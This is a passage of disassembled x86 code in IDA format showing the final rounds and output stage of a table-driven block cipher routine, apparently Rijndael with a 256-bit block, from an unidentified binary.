		movzx	edx, dl
		mov	edx, ds:dword_42B4D8[edx*4]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], edx
		movzx	edx, byte ptr [ebp+var_30]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_40]
		xor	esi, [eax+78h]
		shr	edx, 10h
		movzx	edx, dl
		mov	ecx, [ebp+var_8]
		shr	ebx, 18h
		mov	[ebp+var_10], esi
		mov	esi, ds:dword_42B8D8[ebx*4]
		xor	esi, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_48]
		shr	edx, 8
		movzx	edx, dl
		xor	esi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_2C]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_18]
		shr	edx, 18h
		mov	edi, ds:dword_42B8D8[edx*4]
		mov	edx, [ebp+var_24]
		shr	edx, 8
		movzx	edx, dl
		mov	ebx, ecx
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_18]
		xor	edi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_28]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_14]
		xor	edi, [eax+80h]
		shr	edx, 18h
		mov	[ebp+var_48], edi
		mov	edi, ds:dword_42B8D8[edx*4]
		mov	edx, [ebp+var_20]
		shr	edx, 8
		movzx	edx, dl
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_14]
		xor	edi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_24]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_10]
		xor	edi, [eax+84h]
		xor	esi, [eax+7Ch]
		shr	edx, 18h
		mov	[ebp+var_44], edi
		mov	edi, ds:dword_42B8D8[edx*4]
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_18]
		mov	edx, ecx
		shr	edx, 8
		movzx	edx, dl
		xor	edi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_20]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_10]
		xor	edi, [eax+88h]
		shr	edx, 10h
		mov	[ebp+var_C], esi
		mov	[ebp+var_40], edi
		shr	esi, 18h
		movzx	edi, dl
		mov	edx, ds:dword_42B8D8[esi*4]
		xor	edx, ds:dword_42B4D8[edi*4]
		shr	ebx, 8
		movzx	esi, bl
		xor	edx, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_C]
		shr	ebx, 10h
		movzx	esi, cl
		xor	edx, ds:dword_42ACD8[esi*4]
		movzx	esi, bl
		mov	esi, ds:dword_42B4D8[esi*4]
		mov	ebx, [ebp+var_14]
		shr	ebx, 8
		movzx	edi, bl
		xor	esi, ds:dword_42B0D8[edi*4]
		movzx	edi, byte ptr [ebp+var_18]
		mov	[ebp+var_4], esi
		mov	esi, [ebp+var_28]
		shr	esi, 18h
		mov	esi, ds:dword_42B8D8[esi*4]
		xor	[ebp+var_4], esi
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	ebx, [ebp+var_10]
		xor	esi, [eax+90h]
		mov	edi, [ebp+var_24]
		mov	[ebp+var_38], esi
		shr	ebx, 8
		movzx	esi, bl
		mov	esi, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_28]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		movzx	edi, byte ptr [ebp+var_14]
		mov	[ebp+var_4], esi
		shr	ebx, 10h
		movzx	esi, bl
		mov	esi, ds:dword_42B4D8[esi*4]
		xor	[ebp+var_4], esi
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	ebx, [ebp+var_C]
		xor	esi, [eax+94h]
		mov	edi, [ebp+var_20]
		mov	[ebp+var_34], esi
		shr	ebx, 8
		movzx	esi, bl
		mov	esi, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_24]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		movzx	edi, byte ptr [ebp+var_10]
		mov	[ebp+var_4], esi
		shr	ebx, 10h
		xor	edx, [eax+8Ch]
		movzx	esi, bl
		mov	esi, ds:dword_42B4D8[esi*4]
		xor	[ebp+var_4], esi
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	ebx, [ebp+var_20]
		xor	esi, [eax+98h]
		shr	ecx, 18h
		mov	[ebp+var_30], esi
		mov	esi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_28]
		shr	ebx, 10h
		movzx	edi, bl
		xor	esi, ds:dword_42B4D8[edi*4]
		shr	ecx, 8
		movzx	ecx, cl
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_C]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_38]
		xor	esi, [eax+9Ch]
		mov	ebx, edx
		shr	ebx, 10h
		shr	ecx, 18h
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_44]
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	[ebp+var_2C], esi
		shr	ecx, 8
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_48]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_34]
		xor	edi, [eax+0A0h]
		mov	ebx, [ebp+var_38]
		shr	ecx, 18h
		mov	[ebp+var_28], edi
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_40]
		shr	ecx, 8
		movzx	ecx, cl
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_34]
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_44]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_30]
		xor	edi, [eax+0A4h]
		shr	ecx, 18h
		mov	[ebp+var_24], edi
		mov	edi, ds:dword_42B8D8[ecx*4]
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ecx, edx
		shr	ecx, 8
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_40]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_30]
		shr	ecx, 10h
		movzx	ecx, cl
		xor	edi, [eax+0A8h]
		shr	esi, 18h
		mov	ebx, ds:dword_42B8D8[esi*4]
		xor	ebx, ds:dword_42B4D8[ecx*4]
		mov	ecx, [ebp+var_38]
		shr	ecx, 8
		movzx	ecx, cl
		xor	ebx, ds:dword_42B0D8[ecx*4]
		movzx	ecx, dl
		xor	ebx, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_2C]
		xor	ebx, [eax+0ACh]
		shr	ecx, 10h
		movzx	ecx, cl
		mov	esi, ds:dword_42B4D8[ecx*4]
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_8], ebx
		mov	ebx, [ebp+var_34]
		mov	[ebp+var_20], edi
		shr	ebx, 8
		shr	ecx, 18h
		mov	ecx, ds:dword_42B8D8[ecx*4]
		movzx	edi, bl
		xor	esi, ds:dword_42B0D8[edi*4]
		mov	edi, [ebp+var_44]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], ecx
		movzx	ecx, byte ptr [ebp+var_38]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_30]
		xor	esi, [eax+0B0h]
		shr	ecx, 8
		movzx	ecx, cl
		mov	[ebp+var_18], esi
		mov	esi, ds:dword_42B0D8[ecx*4]
		mov	ecx, [ebp+var_48]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		shr	ecx, 10h
		movzx	ecx, cl
		mov	ecx, ds:dword_42B4D8[ecx*4]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], ecx
		movzx	ecx, byte ptr [ebp+var_34]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_2C]
		xor	esi, [eax+0B4h]
		shr	ecx, 8
		movzx	ecx, cl
		mov	edi, [ebp+var_40]
		mov	[ebp+var_14], esi
		mov	esi, ds:dword_42B0D8[ecx*4]
		mov	ecx, [ebp+var_44]
		shr	ecx, 10h
		movzx	ecx, cl
		mov	ecx, ds:dword_42B4D8[ecx*4]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		mov	ebx, [ebp+var_8]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], ecx
		movzx	ecx, byte ptr [ebp+var_30]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_40]
		xor	esi, [eax+0B8h]
		shr	ecx, 10h
		movzx	ecx, cl
		shr	edx, 18h
		mov	[ebp+var_10], esi
		mov	esi, ds:dword_42B8D8[edx*4]
		xor	esi, ds:dword_42B4D8[ecx*4]
		mov	ecx, [ebp+var_48]
		shr	ecx, 8
		movzx	ecx, cl
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_2C]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_18]
		shr	ecx, 18h
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_24]
		shr	ecx, 8
		movzx	ecx, cl
		mov	edx, ebx
		shr	edx, 10h
		movzx	edx, dl
		xor	edi, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_18]
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_28]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_14]
		xor	edi, [eax+0C0h]
		shr	ecx, 18h
		mov	[ebp+var_48], edi
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_20]
		xor	esi, [eax+0BCh]
		shr	ecx, 8
		shr	edx, 10h
		movzx	ecx, cl
		movzx	edx, dl
		xor	edi, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_14]
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_24]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		xor	edi, [eax+0C4h]
		shr	ecx, 18h
		mov	[ebp+var_44], edi
		mov	edi, ds:dword_42B8D8[ecx*4]
		shr	edx, 10h
		mov	ecx, ebx
		shr	ecx, 8
		movzx	edx, dl
		xor	edi, ds:dword_42B4D8[edx*4]
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_20]
		mov	[ebp+var_C], esi
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		shr	esi, 18h
		xor	edi, [eax+0C8h]
		shr	ecx, 10h
		movzx	edx, cl
		mov	ecx, ds:dword_42B8D8[esi*4]
		xor	ecx, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_18]
		shr	edx, 8
		movzx	edx, dl
		xor	ecx, ds:dword_42B0D8[edx*4]
		movzx	edx, bl
		xor	ecx, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_C]
		xor	ecx, [eax+0CCh]
		shr	edx, 10h
		movzx	edx, dl
		mov	esi, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_28]
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_40], edi
		shr	ecx, 8
		movzx	edi, cl
		xor	esi, ds:dword_42B0D8[edi*4]
		mov	edi, [ebp+var_24]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], edx
		mov	esi, [ebp+var_4]
		movzx	edx, byte ptr [ebp+var_18]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_10]
		xor	esi, [eax+0D0h]
		shr	edx, 8
		movzx	edx, dl
		mov	[ebp+var_38], esi
		mov	esi, ds:dword_42B0D8[edx*4]
		mov	edx, [ebp+var_28]
		shr	edx, 10h
		movzx	edx, dl
		mov	edx, ds:dword_42B4D8[edx*4]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		mov	edi, [ebp+var_20]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], edx
		movzx	edx, byte ptr [ebp+var_14]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_C]
		xor	esi, [eax+0D4h]
		shr	edx, 8
		movzx	edx, dl
		mov	[ebp+var_34], esi
		mov	esi, ds:dword_42B0D8[edx*4]
		mov	edx, [ebp+var_24]
		shr	edx, 10h
		movzx	edx, dl
		mov	edx, ds:dword_42B4D8[edx*4]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		shr	ebx, 18h
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], edx
		movzx	edx, byte ptr [ebp+var_10]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_20]
		xor	esi, [eax+0D8h]
		shr	edx, 10h
		movzx	edx, dl
		mov	[ebp+var_30], esi
		mov	esi, ds:dword_42B8D8[ebx*4]
		xor	esi, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_28]
		shr	edx, 8
		movzx	edx, dl
		xor	esi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_C]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_38]
		shr	edx, 18h
		mov	edi, ds:dword_42B8D8[edx*4]
		mov	edx, [ebp+var_44]
		shr	edx, 8
		movzx	edx, dl
		mov	ebx, ecx
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_38]
		xor	edi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_48]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_34]
		xor	edi, [eax+0E0h]
		shr	edx, 18h
		mov	[ebp+var_28], edi
		mov	edi, ds:dword_42B8D8[edx*4]
		mov	edx, [ebp+var_40]
		shr	edx, 8
		shr	ebx, 10h
		movzx	edx, dl
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_34]
		xor	edi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_44]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_30]
		xor	edi, [eax+0E4h]
		xor	esi, [eax+0DCh]
		shr	edx, 18h
		mov	[ebp+var_24], edi
		mov	edi, ds:dword_42B8D8[edx*4]
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_38]
		mov	edx, ecx
		shr	edx, 8
		movzx	edx, dl
		xor	edi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_40]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_30]
		xor	edi, [eax+0E8h]
		mov	[ebp+var_2C], esi
		shr	esi, 18h
		shr	edx, 10h
		shr	ebx, 8
		mov	[ebp+var_20], edi
		movzx	edi, dl
		mov	edx, ds:dword_42B8D8[esi*4]
		xor	edx, ds:dword_42B4D8[edi*4]
		movzx	esi, bl
		xor	edx, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_2C]
		movzx	esi, cl
		xor	edx, ds:dword_42ACD8[esi*4]
		shr	ebx, 10h
		xor	edx, [eax+0ECh]
		movzx	esi, bl
		mov	ebx, [ebp+var_34]
		mov	esi, ds:dword_42B4D8[esi*4]
		shr	ebx, 8
		movzx	edi, bl
		xor	esi, ds:dword_42B0D8[edi*4]
		movzx	edi, byte ptr [ebp+var_38]
		mov	[ebp+var_4], esi
		mov	esi, [ebp+var_48]
		shr	esi, 18h
		mov	esi, ds:dword_42B8D8[esi*4]
		xor	[ebp+var_4], esi
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edi*4]
		xor	esi, [eax+0F0h]
		mov	[ebp+var_18], esi
		mov	ebx, [ebp+var_30]
		mov	edi, [ebp+var_44]
		shr	ebx, 8
		movzx	esi, bl
		mov	esi, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_48]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		movzx	edi, byte ptr [ebp+var_34]
		mov	[ebp+var_4], esi
		shr	ebx, 10h
		movzx	esi, bl
		mov	esi, ds:dword_42B4D8[esi*4]
		xor	[ebp+var_4], esi
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	ebx, [ebp+var_2C]
		xor	esi, [eax+0F4h]
		mov	edi, [ebp+var_40]
		mov	[ebp+var_14], esi
		shr	ebx, 8
		movzx	esi, bl
		mov	esi, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_44]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		movzx	edi, byte ptr [ebp+var_30]
		mov	[ebp+var_4], esi
		shr	ebx, 10h
		movzx	esi, bl
		mov	esi, ds:dword_42B4D8[esi*4]
		xor	[ebp+var_4], esi
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	ebx, [ebp+var_40]
		xor	esi, [eax+0F8h]
		shr	ecx, 18h
		shr	ebx, 10h
		mov	[ebp+var_10], esi
		mov	esi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_48]
		shr	ecx, 8
		movzx	ecx, cl
		movzx	edi, bl
		xor	esi, ds:dword_42B4D8[edi*4]
		mov	ebx, edx
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_2C]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_18]
		shr	ecx, 18h
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_24]
		shr	ecx, 8
		shr	ebx, 10h
		movzx	ecx, cl
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_18]
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_28]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_14]
		xor	edi, [eax+100h]
		xor	esi, [eax+0FCh]
		shr	ecx, 18h
		mov	[ebp+var_48], edi
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_20]
		shr	ebx, 10h
		shr	ecx, 8
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_24]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		xor	edi, [eax+104h]
		mov	[ebp+var_C], esi
		mov	[ebp+var_44], edi
		shr	ecx, 18h
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ebx, [ebp+var_14]
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ecx, edx
		shr	ecx, 8
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_20]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		shr	ecx, 10h
		movzx	ecx, cl
		shr	esi, 18h
		mov	ebx, ds:dword_42B8D8[esi*4]
		xor	ebx, ds:dword_42B4D8[ecx*4]
		mov	ecx, [ebp+var_18]
		shr	ecx, 8
		movzx	ecx, cl
		xor	ebx, ds:dword_42B0D8[ecx*4]
		xor	edi, [eax+108h]
		movzx	ecx, dl
		xor	ebx, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_C]
		xor	ebx, [eax+10Ch]
		shr	ecx, 10h
		movzx	ecx, cl
		mov	esi, ds:dword_42B4D8[ecx*4]
		mov	ecx, [ebp+var_28]
		shr	ecx, 18h
		mov	ecx, ds:dword_42B8D8[ecx*4]
		mov	[ebp+var_8], ebx
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_40], edi
		shr	ebx, 8
		movzx	edi, bl
		xor	esi, ds:dword_42B0D8[edi*4]
		mov	edi, [ebp+var_24]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], ecx
		mov	esi, [ebp+var_4]
		movzx	ecx, byte ptr [ebp+var_18]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		xor	esi, [eax+110h]
		shr	ecx, 8
		movzx	ecx, cl
		mov	[ebp+var_38], esi
		mov	esi, ds:dword_42B0D8[ecx*4]
		mov	ecx, [ebp+var_28]
		shr	ecx, 10h
		movzx	ecx, cl
		mov	ecx, ds:dword_42B4D8[ecx*4]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		mov	edi, [ebp+var_20]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], ecx
		movzx	ecx, byte ptr [ebp+var_14]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_C]
		xor	esi, [eax+114h]
		shr	ecx, 8
		movzx	ecx, cl
		mov	[ebp+var_34], esi
		mov	esi, ds:dword_42B0D8[ecx*4]
		mov	ecx, [ebp+var_24]
		shr	ecx, 10h
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		movzx	ecx, cl
		mov	ecx, ds:dword_42B4D8[ecx*4]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], ecx
		movzx	ecx, byte ptr [ebp+var_10]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[ecx*4]
		xor	esi, [eax+118h]
		mov	ecx, [ebp+var_20]
		shr	edx, 18h
		shr	ecx, 10h
		mov	ebx, [ebp+var_8]
		mov	[ebp+var_30], esi
		movzx	esi, cl
		mov	ecx, ds:dword_42B8D8[edx*4]
		xor	ecx, ds:dword_42B4D8[esi*4]
		mov	edx, [ebp+var_28]
		shr	edx, 8
		movzx	edx, dl
		xor	ecx, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_C]
		xor	ecx, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_38]
		xor	ecx, [eax+11Ch]
		shr	edx, 18h
		mov	edx, ds:dword_42C8D8[edx*4]
		mov	[ebp+var_8], ecx
		mov	ecx, ebx
		shr	ecx, 10h
		movzx	esi, cl
		xor	edx, ds:dword_42C4D8[esi*4]
		mov	ecx, [ebp+var_44]
		shr	ecx, 8
		movzx	esi, cl
		xor	edx, ds:dword_42C0D8[esi*4]
		movzx	esi, byte ptr [ebp+var_48]
		xor	edx, ds:dword_42BCD8[esi*4]
		mov	ecx, [ebp+var_38]
		xor	edx, [eax+120h]
		shr	ecx, 10h
		mov	[ebp+var_28], edx
		mov	edx, [ebp+var_34]
		shr	edx, 18h
		mov	edx, ds:dword_42C8D8[edx*4]
		movzx	esi, cl
		xor	edx, ds:dword_42C4D8[esi*4]
		mov	ecx, [ebp+var_40]
		shr	ecx, 8
		movzx	esi, cl
		xor	edx, ds:dword_42C0D8[esi*4]
		movzx	esi, byte ptr [ebp+var_44]
		xor	edx, ds:dword_42BCD8[esi*4]
		mov	ecx, [ebp+var_34]
		xor	edx, [eax+124h]
		shr	ecx, 10h
		mov	[ebp+var_24], edx
		mov	edx, [ebp+var_30]
		shr	edx, 18h
		mov	edx, ds:dword_42C8D8[edx*4]
		movzx	esi, cl
		xor	edx, ds:dword_42C4D8[esi*4]
		mov	ecx, ebx
		shr	ecx, 8
		movzx	esi, cl
		xor	edx, ds:dword_42C0D8[esi*4]
		movzx	esi, byte ptr [ebp+var_40]
		xor	edx, ds:dword_42BCD8[esi*4]
		mov	ecx, [ebp+var_8]
		xor	edx, [eax+128h]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_20], edx
		mov	edx, ecx
		mov	ecx, [ebp+var_30]
		shr	edx, 18h
		mov	edx, ds:dword_42C8D8[edx*4]
		shr	ecx, 10h
		movzx	esi, cl
		xor	edx, ds:dword_42C4D8[esi*4]
		mov	ecx, [ebp+var_38]
		shr	ecx, 8
		movzx	esi, cl
		xor	edx, ds:dword_42C0D8[esi*4]
		mov	ecx, [ebp+var_8]
		movzx	esi, bl
		xor	edx, ds:dword_42BCD8[esi*4]
		xor	edx, [eax+12Ch]
		mov	[ebp+var_1C], edx
		mov	edx, ecx
		shr	edx, 10h
		movzx	edx, dl
		mov	edx, ds:dword_42C4D8[edx*4]
		mov	[ebp+var_8], ebx
		mov	ebx, [ebp+var_34]
		shr	ebx, 8
		movzx	esi, bl
		xor	edx, ds:dword_42C0D8[esi*4]
		mov	esi, [ebp+var_48]
		shr	esi, 18h
		xor	edx, ds:dword_42C8D8[esi*4]
		movzx	esi, byte ptr [ebp+var_38]
		xor	edx, ds:dword_42BCD8[esi*4]
		mov	esi, [ebp+var_44]
		xor	edx, [eax+130h]
		mov	ebx, [ebp+var_48]
		mov	[ebp+var_18], edx
		mov	edx, [ebp+var_30]
		shr	edx, 8
		movzx	edx, dl
		mov	edx, ds:dword_42C0D8[edx*4]
		shr	esi, 18h
		xor	edx, ds:dword_42C8D8[esi*4]
		shr	ebx, 10h
		movzx	esi, bl
		xor	edx, ds:dword_42C4D8[esi*4]
		movzx	esi, byte ptr [ebp+var_34]
		xor	edx, ds:dword_42BCD8[esi*4]
		mov	esi, [ebp+var_40]
		xor	edx, [eax+134h]
		mov	ebx, [ebp+var_8]
		mov	[ebp+var_14], edx
		mov	edx, ecx
		shr	edx, 8
		movzx	edx, dl
		mov	edi, ds:dword_42C0D8[edx*4]
		mov	edx, [ebp+var_44]
		shr	edx, 10h
		movzx	edx, dl
		shr	esi, 18h
		xor	edi, ds:dword_42C8D8[esi*4]
		shr	ebx, 18h
		xor	edi, ds:dword_42C4D8[edx*4]
		movzx	edx, byte ptr [ebp+var_30]
		xor	edi, ds:dword_42BCD8[edx*4]
		mov	edx, [ebp+var_40]
		mov	esi, ds:dword_42C8D8[ebx*4]
		xor	edi, [eax+138h]
		mov	ebx, [ebp+var_24]
		shr	edx, 10h
		movzx	edx, dl
		xor	esi, ds:dword_42C4D8[edx*4]
		mov	edx, [ebp+var_48]
		shr	edx, 8
		movzx	edx, dl
		xor	esi, ds:dword_42C0D8[edx*4]
		mov	edx, [ebp+var_18]
		movzx	ecx, cl
		xor	esi, ds:dword_42BCD8[ecx*4]
		mov	[ebp+var_10], edi
		xor	esi, [eax+13Ch]
		mov	[ebp+var_C], esi

loc_41B2EF:				; CODE XREF: sub_41954F+13Aj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_28]
		mov	[eax], cl
		shr	ecx, 8
		mov	[eax+1], cl
		mov	ecx, [ebp+var_28]
		shr	ecx, 10h
		mov	[eax+2], cl
		mov	ecx, [ebp+var_28]
		shr	ecx, 18h
		mov	[eax+3], cl
		mov	ecx, ebx
		shr	ecx, 8
		mov	[eax+5], cl
		mov	ecx, ebx
		shr	ecx, 10h
		mov	[eax+6], cl
		mov	ecx, [ebp+var_20]
		mov	[eax+4], bl
		shr	ebx, 18h
		mov	[eax+7], bl
		mov	ebx, ecx
		mov	[eax+8], cl
		shr	ebx, 8
		mov	[eax+9], bl
		mov	ebx, ecx
		shr	ecx, 18h
		mov	[eax+0Bh], cl
		mov	ecx, [ebp+var_1C]
		shr	ebx, 10h
		mov	[eax+0Ch], cl
		mov	[eax+0Ah], bl
		mov	ebx, ecx
		shr	ebx, 8
		mov	[eax+0Dh], bl
		mov	ebx, ecx
		shr	ecx, 18h
		mov	[eax+0Fh], cl
		mov	ecx, edx
		shr	ecx, 8
		mov	[eax+10h], dl
		mov	[eax+11h], cl
		mov	ecx, edx
		shr	edx, 18h
		mov	[eax+13h], dl
		shr	ecx, 10h
		mov	[eax+12h], cl
		mov	ecx, [ebp+var_14]
		mov	edx, ecx
		shr	edx, 8
		mov	[eax+15h], dl
		mov	[eax+14h], cl
		mov	edx, ecx
		shr	edx, 10h
		mov	[eax+16h], dl
		shr	ecx, 18h
		mov	[eax+17h], cl
		mov	ecx, [ebp+var_10]
		mov	edx, ecx
		shr	edx, 8
		mov	[eax+19h], dl
		mov	[eax+18h], cl
		mov	edx, ecx
		shr	edx, 10h
		shr	ecx, 18h
		mov	[eax+1Ah], dl
		mov	[eax+1Bh], cl
		mov	ecx, [ebp+var_C]
		mov	edx, ecx
		shr	edx, 8
		mov	[eax+1Dh], dl
		mov	[eax+1Ch], cl
		mov	edx, ecx
		shr	ebx, 10h
		shr	edx, 10h
		shr	ecx, 18h
		mov	[eax+0Eh], bl
		mov	[eax+1Eh], dl
		mov	[eax+1Fh], cl
		xor	eax, eax
		inc	eax
		pop	edi
		pop	ebx

loc_41B3D2:				; CODE XREF: sub_41954F+14j
		pop	esi
		leave
		retn
sub_41954F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


